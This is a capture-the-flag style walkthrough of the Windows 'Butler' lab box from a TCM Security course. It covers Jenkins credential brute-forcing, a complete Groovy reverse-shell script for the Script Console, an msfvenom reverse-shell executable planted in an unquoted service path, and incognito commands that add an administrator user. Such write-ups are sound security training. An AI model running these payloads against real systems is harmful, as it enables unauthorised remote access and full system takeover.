Skip to content

Latest commit

 

History

History
171 lines (115 loc) · 6.58 KB

butler.md

File metadata and controls

171 lines (115 loc) · 6.58 KB

Butler

Details reconstructed from memory of my own completed walkthrough — exact commands/outputs may be paraphrased.

Platform: TCM Security — Practical Ethical Hacking (PEH) Capstone
Difficulty: Intermediate
Category: Windows, Jenkins, weak credentials, Windows privilege escalation

OS

Technique

Status


Overview

Butler is the Windows box in the PEH Capstone and a great introduction to Windows privilege escalation. SMB is exposed but a dead end; the real surface is a Jenkins server on port 8080 protected only by weak credentials. Once in, Jenkins' built-in Script Console (Groovy) gives arbitrary code execution and a foothold as the low-privileged butler user. From there the box deliberately offers several privesc routes — I used the unquoted service path on WiseBootAssistant, and also confirmed token impersonation (SeImpersonatePrivilege) and Meterpreter getsystem as alternatives — all ending at NT AUTHORITY\SYSTEM.

It reinforced the full Windows flow: service enum → weak-cred foothold → RCE → enumerate privileges/services → escalate to SYSTEM.


Reconnaissance

nmap -Pn -p- -T4 --min-rate 1000 -oN butler-full.txt <target-ip>
nmap -sC -sV -p 135,139,445,8080 -oN butler-svc.txt <target-ip>

Relevant surface:

Port Service Notes
135/139/445 SMB / RPC enumerated with enum4linux / crackmapexec — no useful leads
8080/tcp HTTP (Jetty) Jenkins web application

SMB looked like the obvious Windows quick win but gave nothing. The viable path was 8080.

Jenkins enumeration

Browsing http://<target-ip>:8080/ showed a Jenkins login. Directory fuzzing and the generic Jenkins "oops" error page leaked the version (Jenkins 2.289.x on Jetty). Public exploits for that build all required authentication — so the real task was getting credentials.


Exploitation

1. Brute-force the Jenkins login

Public Jenkins exploits needed creds, so I ran a dictionary attack against the login form (Burp Intruder cluster bomb, or hydra against the j_acegi_security_check endpoint):

# Burp Intruder on /j_acegi_security_check (username + password)
# or hydra http-post-form against the login

The box uses trivially weak creds: jenkins : jenkins. That gave authenticated access to the dashboard.

2. RCE via the Groovy Script Console

Authenticated Jenkins exposes Manage Jenkins → Script Console, which runs arbitrary Groovy on the server. I used the well-known frohoff Groovy reverse shell:

String host="<your-ip>";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0) so.write(pi.read());
  while(pe.available()>0) so.write(pe.read());
  while(si.available()>0) po.write(si.read());
  so.flush(); po.flush(); Thread.sleep(50);
  try{p.exitValue();break;}catch(Exception e){}
};
p.destroy(); s.close();

With nc -lvnp 4444 running, executing the script returned a shell as butler.

3. Local enumeration

whoami
whoami /priv
whoami /groups
systeminfo

I then ran WinPEAS for a structured sweep, which surfaced the privesc paths below.


Privilege Escalation

Butler intentionally has multiple routes to SYSTEM. My primary one:

Primary — Unquoted Service Path (WiseBootAssistant)

WinPEAS flagged a service with an unquoted path containing spaces that was writable:

Service:   WiseBootAssistant
BinPath:   C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe   (no quotes, spaces)
Perms:     YOU CAN MODIFY THIS SERVICE / AllAccess

Because the path is unquoted and contains spaces, Windows tries each truncated path in order. Dropping a malicious Wise.exe into C:\Program Files (x86)\Wise\ makes Windows execute it (as the service account) before reaching the real binary.

# attacker: generate a reverse-shell exe
msfvenom -p windows/shell_reverse_tcp LHOST=<your-ip> LPORT=9001 -f exe -o Wise.exe
:: on target — place it at the truncation point
copy Wise.exe "C:\Program Files (x86)\Wise\Wise.exe"

:: trigger the service
sc stop WiseBootAssistant
sc start WiseBootAssistant

The service started my executable as SYSTEM and connected back:

whoami
# nt authority\system

Alternative A — Token Impersonation (SeImpersonatePrivilege)

whoami /priv showed SeImpersonatePrivilege enabled on the butler service context. That is directly abusable with a potato-style attack (PrintSpoofer / JuicyPotato) or FSecure incognito:

incognito.exe add_user hacker Pass123!
incognito.exe add_localgroup_user Administrators hacker

Alternative B — Meterpreter getsystem

With a Meterpreter session as butler (named-pipe impersonation), getsystem was the fastest one-liner to SYSTEM — handy to confirm the box without a manual service edit.


Proof & Loot

whoami            :: nt authority\system
type C:\Users\Administrator\Desktop\*.txt
type C:\Users\*\Desktop\*.txt

Lessons Learned

Butler is a compact map of the most common Windows privesc classes, all reachable from one weak-credential foothold.

Key takeaways:

  • Weak app credentials are the real foothold. Jenkins needed auth for every public exploit; jenkins:jenkins made all of them irrelevant. Always brute-force the login before chasing CVEs.
  • Jenkins Script Console = RCE by design. Authenticated Groovy execution is a built-in feature — treat any reachable Jenkins admin as code execution.
  • whoami /priv first. SeImpersonatePrivilege alone (PrintSpoofer/Juicy/incognito) is often the quickest SYSTEM.
  • Unquoted service paths remain a classic: path with spaces + writable directory + restartable service = SYSTEM. WinPEAS calls it out clearly.
  • Know several routes. Having unquoted-path, token impersonation, and getsystem all ready builds the flexibility real Windows engagements demand.

This rounds out my TCM capstone set alongside Blue, Academy, Dev, and BlackPearl — Butler being the dedicated Windows-privesc lab of the group.